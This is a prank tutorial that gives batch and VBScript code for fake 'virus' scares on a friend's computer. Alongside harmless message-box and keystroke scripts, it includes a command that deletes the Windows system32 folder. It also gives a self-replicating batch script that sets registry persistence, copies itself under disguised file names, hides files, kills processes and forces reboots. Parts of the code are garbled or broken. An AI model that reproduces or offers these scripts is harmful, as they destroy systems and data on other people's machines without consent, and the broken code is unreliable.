Introduction
Doesn't it feel nice to prank a friend, I know, it feels amazing. Here I will tell you how to scare them by pretending their computer has a 'virus'.
Open notepad and copy and paste a prank you want to use and save it as listed
Shutdown a computer.
@echo off
MsgBox ("I don't like you !!!")
shutdown -c "You don't deserve your computer."
Save it as a .bat file.
You've got a Virus Messege
do*
MsgBox (" Type here the text that you want.")
loop*
Save as .VBS
Non-stop Backspace.
MsgBox ("You don't deserve to type, get out of the computer already.")
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save as .VBS
Let the keyboard type for you anything you want!
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Dont let others use your computer :P"
loop
Save as VBS.
The computer will speak...
Dim message, sapi
message=InputBox("What do you want me to say?","WHat do you want me to say?")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message
Save as .VBS
Your computer has a virus! (More extreme)
Msgbox "Your computer has been infected by a virus",16,"Warning !"
dim x,yes,no
x=Msgbox("Virus has infected hard drive (C:). Deletion of the virus will require complete formatting of hard drive (C:). Would you like to format hard drive (C:)
?",52,"Warning !")
if x=6 then
dim box
box=Msgbox("Hard drive (C:) formatting complete. In order to function correctly your computer must restart, would you like to restart now ?",36,"Formatting has been completed")
if box=6 then
Msgbox "Fatal error, code 08x48631643.B-7",16,"ERROR"
Msgbox "Just kidd
if box=7 then
Now this will just kill the computer.. Seriously, it will dlete the system 32 folder. I dont think there is an exact recovery for it, this is for educational purposes or just to kill a useless old windows xp computer which you want to throw in the trash and to be never seen again. Or, prank your friend by downloading a vitural machine and launching it there and they will think its their computer. Keep in mind if you use it ona real computer it will not work after a restart. DONT USE IT ON HEART PROBLEM PEOPLE. Im not responsible for what will happen.
del c:\windows\system32\*.* /q
Save this as a .bat file.
Now this one wont "kill your computer" and can be recovered. But still have some skills with computers if you want to prank. Here is what it will do.
1) Copy itself into startup,
2) Copy itself over one thousand times into random spots in your computer,
3) Hide its self and all other created files,
5) Swap the left mouse button with the right one,
6) Opens alert boxes,
7) Changes the time to 12:00 and shuts down the computer.
Here the script.
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
opy Greatgame.bat %random%.bat
goto RIP
Save as .bat
